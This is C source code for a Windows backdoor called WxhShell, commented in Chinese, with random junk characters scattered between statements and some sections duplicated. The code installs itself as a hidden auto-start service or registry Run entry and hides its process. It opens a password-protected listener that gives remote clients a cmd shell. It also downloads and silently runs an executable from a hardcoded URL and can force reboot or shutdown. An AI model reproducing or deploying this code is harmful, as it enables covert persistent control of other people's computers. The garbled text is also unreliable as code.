'QUc PROCNTQSIP NtQueryInformationProcess; _F{C\} ~&O%N static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =N@t'fOr static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }]TxlSp!; I fir ,8 HANDLE hProcess; INf&4!&h PROCESS_BASIC_INFORMATION pbi; sLFl!jX [aS*%Heu HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X&zis1A< if(NULL == hInst ) return 0; E`q_bn YIE<pX4Q7) g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9uY'E'm* g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <3iMRe NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0(Ij%Wi, $'TM0Yu, if (!NtQueryInformationProcess) return 0; 49P4b<1
c> af hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GILfbNcd if(!hProcess) return 0; }G=M2V<L X]=t> if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $e\M_hp*J `/g
UV CloseHandle(hProcess); [lAp62i5 wr4:Go` hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PH"%kCI: if(hProcess==NULL) return 0; $(
)>g>% g`^x@rj`E HMODULE hMod; <#.g=ay char procName[255]; ;4a{$Lw~^9 unsigned long cbNeeded; zT/\Cj68 Bq>m{ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e)ZUO_Q$ d _
e WcI CloseHandle(hProcess); Q\)F;: | 'yth'[ if(strstr(procName,"services")) return 1; // 以服务启动 B *vM0 $(9U @N9E return 0; // 注册表启动 598i^z{~0% } Al'3? >7r!~+B"9' // 主模块 CARzO7b\w int StartWxhshell(LPSTR lpCmdLine) *=n:- { l~.-e^p? SOCKET wsl; JRFtsio* BOOL val=TRUE; +V+a4lU14 int port=0; /=h` L, struct sockaddr_in door; zQA`/&=Y H"KCK6 if(wscfg.ws_autoins) Install(); OB7hlW r>\bW)e port=atoi(lpCmdLine); '|4!5)/K 2tLJU Z1 if(port<=0) port=wscfg.ws_port; eQ"E h~26WLf. WSADATA data; N7_"H>O$0U if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S$3JMFA :KN-F86i if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;
7.T?#;'3 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C?Ucu]cW door.sin_family = AF_INET; :LTN!jj door.sin_addr.s_addr = inet_addr("127.0.0.1"); nm+s{ door.sin_port = htons(port); G`zm@QL .2pK.$. if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ah<+y\C closesocket(wsl); $"&JWT!# return 1; {)"vN(mX } xpI wrJO P$sxr if(listen(wsl,2) == INVALID_SOCKET) { AEuG v}# closesocket(wsl); )i<j XZ:O return 1; eq" ]%s } Ug`djIL Wxhshell(wsl); 2(nlJ7R WSACleanup(); :!/8Hv bfO=;S]b! return 0; `kr?j:g a>)f=uS } w:l"\Tm <or2 // 以NT服务方式启动 W l16`9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -DCbko { yBRC*0+Vy DWORD status = 0; m3ff;, DWORD specificError = 0xfffffff; 4sM.C9W Mq8L0%j serviceStatus.dwServiceType = SERVICE_WIN32; aP`P)3O6)1 serviceStatus.dwCurrentState = SERVICE_START_PENDING; ]HdCt 3X serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qa6,z.mQ serviceStatus.dwWin32ExitCode = 0; Jl<2>@ serviceStatus.dwServiceSpecificExitCode = 0; lLD12d serviceStatus.dwCheckPoint = 0; Z=
!*e~j@ serviceStatus.dwWaitHint = 0; WKU=.sY SB7c.H, hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >Se,;cB'/] if (hServiceStatusHandle==0) return; T)CP2U /@Zrq#o
zx status = GetLastError(); v3qA":(w+( if (status!=NO_ERROR) b6 M { *'X3z@R serviceStatus.dwCurrentState = SERVICE_STOPPED; v
LZoa-w: serviceStatus.dwCheckPoint = 0; Wl Sm serviceStatus.dwWaitHint = 0; Sc
serviceStatus.dwWin32ExitCode = status; ZC}QId serviceStatus.dwServiceSpecificExitCode = specificError; T)})
pt!V SetServiceStatus(hServiceStatusHandle, &serviceStatus); `lPfb[b return; B?qjkP } :L;a:xSpn= D6^6}1WI serviceStatus.dwCurrentState = SERVICE_RUNNING; "vGW2~*) serviceStatus.dwCheckPoint = 0; D-4f.Tq4# serviceStatus.dwWaitHint = 0; JLi|Td"1% if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ty`DJO=Omj } CP{cAzHO @I*{f // 处理NT服务事件,比如:启动、停止 NCx%L-GPi VOID WINAPI NTServiceHandler(DWORD fdwControl) L6LZC2N+2 { wf$s*|z switch(fdwControl) Dxxm="FQZ { :yjFQ9^?& case SERVICE_CONTROL_STOP: ;GhNKPY serviceStatus.dwWin32ExitCode = 0; 7)k\{&+P serviceStatus.dwCurrentState = SERVICE_STOPPED; km40qO@3 serviceStatus.dwCheckPoint = 0; ?
qA]w9x serviceStatus.dwWaitHint = 0; r9lR|\Ax2U { ]q-Y }1di8 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^H'\"9;7 } p^_yU_ return; kwA$Z!Rn case SERVICE_CONTROL_PAUSE: {GO#.P" serviceStatus.dwCurrentState = SERVICE_PAUSED; +{UcspqM break; x;')9/3 case SERVICE_CONTROL_CONTINUE: qv*^fiT serviceStatus.dwCurrentState = SERVICE_RUNNING; e]tDy0@ break; h@h! ,; case SERVICE_CONTROL_INTERROGATE: 2Gdd*=4z break; n}V_,:Z }; `KQvJjA6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4H-'Dr=G } Tqk\XILG N iyp=lLk // 标准应用程序主函数 yA>nli= int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z~Q>V]a>; { 4{l, 3t6LT // 获取操作系统版本 9I/N4sou OsIsNt=GetOsVer(); w\brVnt GetModuleFileName(NULL,ExeFile,MAX_PATH); ]d%8k}U +H
Usz? // 从命令行安装 3{h_&Gbo'D if(strpbrk(lpCmdLine,"iI")) Install(); !L8#@BjU (b6NX~G-: // 下载执行文件 +KEWP\r if(wscfg.ws_downexe) { :\}(&
> if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _7)n(1h[3b WinExec(wscfg.ws_filenam,SW_HIDE); ->{KVPHe{ } g>9kXP+ d'I"jZ if(!OsIsNt) { xp9pl[l // 如果时win9x,隐藏进程并且设置为注册表启动 yH}s<@y;7 HideProc(); t. '!`5G StartWxhshell(lpCmdLine); =kqt } :Lug7bUVD else X~i<g?] if(StartFromService()) hiw|2Y&` // 以服务方式启动 _Y[bMuUb= StartServiceCtrlDispatcher(DispatchTable); [66!bM& else (%:c#;# // 普通方式启动 9<)NvU^-r StartWxhshell(lpCmdLine); ~3S~\0&| -B\HI*u return 0; i@R
1/M } _\HQvH 'XBFv9& 7`hP?a= =6#Eh=7N =========================================== -FCe:iY! A !&Pui{F D#/Bx[ T${Q.zHY[! 50C ]]juN " ivz5H(b -[DOe?T #include <stdio.h> wg]LVW} #include <string.h> d&s9t;@= #include <windows.h> O5t[ #include <winsock2.h> Y7[jqb1D #include <winsvc.h> bD8Gwi=iiu #include <urlmon.h> P_#bow (NnH:J` #pragma comment (lib, "Ws2_32.lib") {&T_sw@[ #pragma comment (lib, "urlmon.lib") ^Js9 s8?$ b,%C{mC #define MAX_USER 100 // 最大客户端连接数 yEj^=pw #define BUF_SOCK 200 // sock buffer `I5wV/%ib #define KEY_BUFF 255 // 输入 buffer [,KXze_m (DP &B%Sf #define REBOOT 0 // 重启 Gm.]sE?. #define SHUTDOWN 1 // 关机 Q&|\r 9,'ncw$/C #define DEF_PORT 5000 // 监听端口 qXjxNrK q\527^ZM #define REG_LEN 16 // 注册表键长度 LAe6`foW/ #define SVC_LEN 80 // NT服务名长度 Clb@$, 5RpjN: 3 // 从dll定义API H&}pkrH~ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ZEO,]$Yi7 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0tB0@Wj typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y%bF& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yN
s,Ll~ Vr1<^Ib // wxhshell配置信息 e2W".+B1 struct WSCFG { ^4Ah_U int ws_port; // 监听端口 H_<C!OgR char ws_passstr[REG_LEN]; // 口令 f &wb int ws_autoins; // 安装标记, 1=yes 0=no "{Eta char ws_regname[REG_LEN]; // 注册表键名 \<6CZ char ws_svcname[REG_LEN]; // 服务名 usL*
x9i char ws_svcdisp[SVC_LEN]; // 服务显示名 f[^Aw(o char ws_svcdesc[SVC_LEN]; // 服务描述信息 84 pFc;< char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =+MPFhvg! int ws_downexe; // 下载执行标记, 1=yes 0=no -n<pPau2 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M6-&R=78K char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3%;a)c;D ([LSsZ]sj }; 4u47D$= ;K&o-y // default Wxhshell configuration 5=?\1`e1[ struct WSCFG wscfg={DEF_PORT, o"BoZsMk "xuhuanlingzhe", WYYa/,{9. 1, "E?2xf|. "Wxhshell", Hi`//y*92H "Wxhshell", @)&=% "WxhShell Service", n%s]30Xs "Wrsky Windows CmdShell Service", PJrtMAcKq "Please Input Your Password: ", xDoC( 1, JOLaP@IPT "http://www.wrsky.com/wxhshell.exe", cFnDmtI: "Wxhshell.exe" l.bYE/F0& }; pWsDzb6?% Gvqxi| // 消息定义模块 T+K):ug char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P{+T<bk| char *msg_ws_prompt="\n\r? for help\n\r#>"; 8j\cL' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \:ak '' char *msg_ws_ext="\n\rExit."; |(LZ9I char *msg_ws_end="\n\rQuit."; dg"3rs /?A char *msg_ws_boot="\n\rReboot..."; zEy N) char *msg_ws_poff="\n\rShutdown..."; 8j %Tf; char *msg_ws_down="\n\rSave to "; o/Q;f@ !pdb'*,n char *msg_ws_err="\n\rErr!"; O[)kboY char *msg_ws_ok="\n\rOK!"; 5m(^W[u ` Q &K char ExeFile[MAX_PATH]; rOOT8nkR# int nUser = 0; I4q9|'-yx HANDLE handles[MAX_USER]; A_5P/ARmI int OsIsNt; 0h\smqm -Z
Ugx$ SERVICE_STATUS serviceStatus; CxG#"{& SERVICE_STATUS_HANDLE hServiceStatusHandle; vucxt }Ti Om@C
X<(9C // 函数声明 :GP]P^M;G@ int Install(void); ApV~(k)W int Uninstall(void); Uu(SR/R} int DownloadFile(char *sURL, SOCKET wsh); V<uR>TD( int Boot(int flag); z] ?N+NHOA void HideProc(void); l6 H|PR{ int GetOsVer(void); \(Y\|zC'0$ int Wxhshell(SOCKET wsl); e`xdSi>E void TalkWithClient(void *cs); mFaZio0GK int CmdShell(SOCKET sock); D(RTVef int StartFromService(void); ^y1j.M@q int StartWxhshell(LPSTR lpCmdLine); (/j/>9iro O7<]U_"I VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H>B&|BO_[ VOID WINAPI NTServiceHandler( DWORD fdwControl ); {Um)15K wlk4*4dKn // 数据结构和表定义 L(-b@Joh SERVICE_TABLE_ENTRY DispatchTable[] = _JE"{ ; { ssRbhlD/*1 {wscfg.ws_svcname, NTServiceMain}, E:}r5S)4 {NULL, NULL} nV:LqF= }; 4$S;( /%TI??PGu // 自我安装 'JfdV%M int Install(void) lP@Ki5 { pd;br8yE$@ char svExeFile[MAX_PATH]; i?g5_HI HKEY key; K&70{r strcpy(svExeFile,ExeFile); k!HK 97qA )ZqTwEr@[ // 如果是win9x系统,修改注册表设为自启动 $5<#n@
if(!OsIsNt) { $#S&QHyEe if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P5nO78 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]?
g@jRs RegCloseKey(key); ?_vakJ
) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2Yn <2U/^R RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DN~nk RegCloseKey(key); TQ*1L:X7M& return 0; ^_u kLzP9 } 48qV>Gwf } &c:Ad%
z } #( jw!d& else { ,5,!es@`b E}p&2P+MR // 如果是NT以上系统,安装为系统服务 ;1.,Sn+zO SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _Khc3Jo if (schSCManager!=0) ZUR6n>r { D.Q=]jOs SC_HANDLE schService = CreateService ytoo~n ( /ZPyN<@ schSCManager, `t9?=h! wscfg.ws_svcname, dEA6 wscfg.ws_svcdisp, O6/f5 SERVICE_ALL_ACCESS, 4VCOKx SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [uq$5u SERVICE_AUTO_START, ?$^2Umt0 SERVICE_ERROR_NORMAL, xScLVt<\e svExeFile, yXF?H"h( NULL, zN@}
#Hk NULL, %i-c0|,T4 NULL, _m'Fr
7 NULL, r{ef .^&: NULL ~ZhraSI)G ); Hp|_6hO 2 if (schService!=0) 4 G-wd { "a"]o CloseServiceHandle(schService); -VTkG]{`Ir CloseServiceHandle(schSCManager); 'BPp ]R#{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >wBJy4: strcat(svExeFile,wscfg.ws_svcname); V=V:SlS9| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M&Uj^K1 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3]UUG RegCloseKey(key); RUT,Y4 b return 0; FPI;Jx6W' } 7C ,UDp| } .wu
xoq CloseServiceHandle(schSCManager); w1#gOwA,$ } ?zVL;gVWA } f[~L?B;_L M8Z2Pg\0 return 1; "WK{ >T } U1RpLkibQ QxOjOKAG
// 自我卸载 ,%Up0Rr, int Uninstall(void) &PK\|\\2 { "7V2lu HKEY key; :8+Ni d)
1/-43B if(!OsIsNt) { rT5Ycm@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9Z'8!$LYg RegDeleteValue(key,wscfg.ws_regname); q51Uf_\/ RegCloseKey(key); p)3U7"q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @u%_1 RegDeleteValue(key,wscfg.ws_regname); EC8b=B<DE RegCloseKey(key); .dQQoyR+O return 0; +H#U~p$ } WjwLM2<nK7 } Ii_ojQP-z } 88h3|'* else { nMvKTH {0^&SI"5`E SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GF%314Xu if (schSCManager!=0) I{:(z3 { Ve!fU SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D{d>5P?W if (schService!=0) HnCzbt@ { m"jV}@agX if(DeleteService(schService)!=0) { i?e`:}T CloseServiceHandle(schService); $Gv9m CloseServiceHandle(schSCManager); /BV03B return 0; x61 U[/r } H;fxxu`cS CloseServiceHandle(schService); hq/k*; } MxcFvo*LCp CloseServiceHandle(schSCManager); wz.6du6- } eT8} } H4!+q:< /E5 5Pec return 1; ^:* 1d
\ } $N=N(^
9*=W- v // 从指定url下载文件 e|D;OM int DownloadFile(char *sURL, SOCKET wsh) w{90` { QZhjb HRESULT hr; g
HbxgeL char seps[]= "/"; 6]pX>Xho char *token; Y.U[wL> char *file; D<X.\})Md char myURL[MAX_PATH];
D"ehWLj char myFILE[MAX_PATH]; Xy &uZ V-r3-b strcpy(myURL,sURL); #\ n8M token=strtok(myURL,seps); 0#*#a13 while(token!=NULL) ]
0m&(9 { 3lq Mucr file=token; JA_BKA token=strtok(NULL,seps); 4bJZmUb } Mz;[ +p xOHgp=#D GetCurrentDirectory(MAX_PATH,myFILE); ]$\|ktY! strcat(myFILE, "\\"); j$Je6zq0x strcat(myFILE, file); ,SiY;(b=\ send(wsh,myFILE,strlen(myFILE),0); U*P. :BvG send(wsh,"...",3,0); xvSuPP4 m hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &gE 75B if(hr==S_OK) mA@Me7m} return 0; P?]aWJ else u@%r return 1; BEgV^\u :C8$Xi_i} } "y<?Q}1 $Qy7G{XJ[^ // 系统电源模块 T,OwM\`.X{ int Boot(int flag) -tI'3oT1 { -}6xoF? HANDLE hToken; OOz[-j>'Y+ TOKEN_PRIVILEGES tkp; LJTQaItdqJ d{de6 ` if(OsIsNt) { )&<=.q OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w7n373y% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y tf b$;| tkp.PrivilegeCount = 1; D'hW| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N#_GJSG_| AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V)i5=bHC if(flag==REBOOT) { O8W7<Wc|z if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7 +@qB]Bi< return 0; 2',w[I
} K[7EOXLy else { e<#DdpX!H~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I;?X f return 0; y{a$y}7#X } /Y2/!mU</ } F[!ckes<bB else { 3u\;j; Td! if(flag==REBOOT) { iIGbHn,/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d@3}U6, return 0; ]}6w#)]" } ZB[Qs else { s{4 \xAS> if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :aIN9; return 0; %D`,k*X } :g\rQazxO } LR,7,DH$9' ')$NfarQ. return 1; kzS=g|_ } ^v@4|E$ F("#^$ // win9x进程隐藏模块 O!Z|r? void HideProc(void) 56Z\-=KAU { a3>zoN |uH%6&\ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Px>va01n if ( hKernel != NULL ) Q9`QL3LQD { a%Jx
`hx pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5Y3i|cj ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LN_OD5gZ FreeLibrary(hKernel); tB'V } f0LP?] y9|K|xO[ return; S-nlr@w8 } :9|W#d{o j` /&r*zNq // 获取操作系统版本 ro[Y-o5Q0 int GetOsVer(void) Fequm+ { -n? g~(/P OSVERSIONINFO winfo; .M4IGOvOS winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OW(&s,|6x GetVersionEx(&winfo); Ih[+K#t+E if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Zzl,gy70 return 1; 2`=6 %s
else #DkD!dW(l return 0; 8%~t } S2VVv$r_6 Q^Bt1C // 客户端句柄模块 D["MUB4l int Wxhshell(SOCKET wsl) :Ld!mRZF { VZIR4J[\. SOCKET wsh; www`=)A; struct sockaddr_in client; GW2')}g DWORD myID; 1[;@AE2Y YO:&;K% while(nUser<MAX_USER) jec:i-, { `4CWE_k int nSize=sizeof(client); V8z`qEPM wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7e&\{* if(wsh==INVALID_SOCKET) return 1; vVs#^"-nW /LQ:Sv7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $YG1z if(handles[nUser]==0) zG
c[Z3N closesocket(wsh); (a6?s{( else m^{
xd2 nUser++; )-/gLZsx } cub<G!K WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^`qPs/b p11G#.0 return 0; i3
)xX@3 } v&MU=Tcqi r5/R5Ga^ // 关闭 socket
c~dM`2J, void CloseIt(SOCKET wsh) tO.$+4a { swpnuuC- closesocket(wsh); $X+u={] nUser--; pyW u9 ExitThread(0); =<<3Pkv7@ } }1%r%TikY ev>oC~>s // 客户端请求句柄 {sC=J hs- void TalkWithClient(void *cs) fV ZW[9[ { =`I?mn& c/u_KJFF-n SOCKET wsh=(SOCKET)cs; }G1&]Wt_ char pwd[SVC_LEN]; ;~sr$6 char cmd[KEY_BUFF]; V_L[P9 char chr[1]; PtKTm\,JL0 int i,j; o+g4p:Mf wy4q[$.4v while (nUser < MAX_USER) { &(& '0+$ m= if(wscfg.ws_passstr) { XSB8z
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?(im+2 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iY.eJlfH //ZeroMemory(pwd,KEY_BUFF); KC&`x| i=0; <Ns &b.\h6 while(i<SVC_LEN) { >v0 :qN7| Uk-HP\C"7 // 设置超时 nJVp.*S fd_set FdRead; IF?xnu struct timeval TimeOut; e!o(g&wBj FD_ZERO(&FdRead); cj(X2L FD_SET(wsh,&FdRead); Gidkt;lj TimeOut.tv_sec=8; f:%SW TimeOut.tv_usec=0; 4S *,\ q]q int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !z=pP$81 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d]M[C[TOX 2X@G" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %N~;{!![p pwd=chr[0]; .u< U:* if(chr[0]==0xd || chr[0]==0xa) { '>^Xqn pwd=0; ( D}"&2 break; |@`"F5@, } gGKKs&n7 i++; : z~!p~ } w6EI{ 3%M.U)|+ // 如果是非法用户,关闭 socket ]M4NpUM if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~Ob8i 1S> } v'nHFC+p YhgUCF# send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d1NE% hg3 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z`'P>.x
A ^B@VuK while(1) { La}o(7=s HP$K.a7H ZeroMemory(cmd,KEY_BUFF); {Nq?#%vdT Jf+7"![| // 自动支持客户端 telnet标准 UpeQOC j=0; q$^<zY while(j<KEY_BUFF) { uiK:*[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !Y%D
9 cmd[j]=chr[0]; >0T3'/k<H if(chr[0]==0xa || chr[0]==0xd) { #^\}xn"[ cmd[j]=0; n|]N7 b' break; h[l{ 5Z* } U,3d) ]Zy& j++; A[ 1)!e } ~_}4jnC J<_ 1z':W) // 下载文件 XZ@>]P if(strstr(cmd,"http://")) { R`C.ha send(wsh,msg_ws_down,strlen(msg_ws_down),0); x<Se>+
if(DownloadFile(cmd,wsh)) {Tx 3$eU send(wsh,msg_ws_err,strlen(msg_ws_err),0); K.h]JD]o else Fd"WlBYy0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0Uaem } 4(iS-8{J else { R1 qMg+ AJWLEc4XK switch(cmd[0]) { nCB[4 36i_D6 // 帮助 ]n1D1 case '?': { 7xR|_+%~K send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Fc{((x s break; J=L`]XE } GG>Y/;^ // 安装 A[RN-R, case 'i': { eH
`t \n if(Install()) 1Q_ ``.M send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7NUenCdc else WFpl1O73 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6)+9G_ break; &"O_wd[+: } eHROBxH& // 卸载 WnO DDr
case 'r': { +cw{aI`a8 if(Uninstall()) K*[0dza$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9T]va]w?# else C[W5d~@;E send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YRu%j4Tx break; \
>(zunL } FP@A;/c // 显示 wxhshell 所在路径 UR\ZN@O case 'p': { Wb'*lT0= char svExeFile[MAX_PATH]; 1YFAr}M strcpy(svExeFile,"\n\r"); x/[8Wi,yB strcat(svExeFile,ExeFile); K5+!(5V~ send(wsh,svExeFile,strlen(svExeFile),0); %)dI2 J^Xf break; (mY(\mu} } -|$* l
Q // 重启 e
Ri!\Fx case 'b': { _AAx
) send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3v G if(Boot(REBOOT)) o[2Y;kP3*P send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1y(iE C else { PgqECd)f closesocket(wsh); |/2LWc? ExitThread(0); (S 3jZ } `-5cQ2>" break; hX %s]" } TR|;,A[%v# // 关机 ZG!x$yi$ case 'd': { R$v i!0 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )e#fj+>x) if(Boot(SHUTDOWN)) TLX^~W[gOm send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7:ckq(89 else { v7g
[Lk closesocket(wsh); I_K[!4~Kn ExitThread(0); fyGCfM } *;Ak5.du break; @],Z 2 } `2sdZ/fO // 获取shell .k
p$oAL case 's': { jf2y0W>6s CmdShell(wsh); 8R
BDJ closesocket(wsh); enWF7` ExitThread(0); yi&?d&rK break; _y|[Z; } AK%=DVkM // 退出 R+k=Ea&x case 'x': { x ru(Le}E send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d!w1t=2H CloseIt(wsh); 0%#t[usY break; ?i/73H+;D3 } uFMs^^# // 离开 fHW-Je7mG case 'q': { %!>k#F^S send(wsh,msg_ws_end,strlen(msg_ws_end),0); m]E o(P4+ closesocket(wsh); 1g+LF[*-~ WSACleanup(); l85O-g}M exit(1); u2f `|+1^y break; bbM4A! N } .Y+mwvLpRG } \-DM-NrZ1U } sTJJE3TBI 1 VPg`+o // 提示信息 U<1}I.hDJ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +'!h-x1y~ } :17ee } p<<6}3~ iJ5e1R8tN return; UeFtzty,a } +k#mvPq 27}.s0{D // shell模块句柄 4u7c7K>\Y int CmdShell(SOCKET sock) m>g}IX&K' { *G8'Fjin'T STARTUPINFO si; Qf/j: ZeroMemory(&si,sizeof(si)); Jv-zB]3& si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2pVVoZV.< si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j*zB
{ s
K PROCESS_INFORMATION ProcessInfo; fp`U?S6 char cmdline[]="cmd"; n5/ZJur CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);
gvvFU,2 return 0; @WMj^t1D+ } rGQ86L< E!r4AjaC // 自身启动模式 ddGkk@CA int StartFromService(void) O8!!UA8V { l#mqV@?A~ typedef struct }M;sz { X`8Y[Vb3}
DWORD ExitStatus; pT|./ Fe DWORD PebBaseAddress; $IZ*|>( DWORD AffinityMask; s0x@
u DWORD BasePriority; kfH9Y%bOy ULONG UniqueProcessId; !NlB%cF ULONG InheritedFromUniqueProcessId; j 8~Gv=(h } PROCESS_BASIC_INFORMATION; Y}eZPG.h ;igEIGR PROCNTQSIP NtQueryInformationProcess; >$d d9|[ J@=!w[v+ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $`cy'ZaF static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s|Imz<IE {X{01j};8 HANDLE hProcess; %Z-Tb OX PROCESS_BASIC_INFORMATION pbi; e7)> U!9c9 z:@d@\$? HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +]aD^N9[' if(NULL == hInst ) return 0; w*]_FqE @]}Qh;a~ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Udb0&Y1^ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7lnM|nD NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o.v,n1Nm Q*TQ*J7".X if (!NtQueryInformationProcess) return 0; ]~4}(\u >2!^ dT^D hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3|z;K,`Fw if(!hProcess) return 0; XFLjVrX[ :Kt{t46) if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *<#]&2I 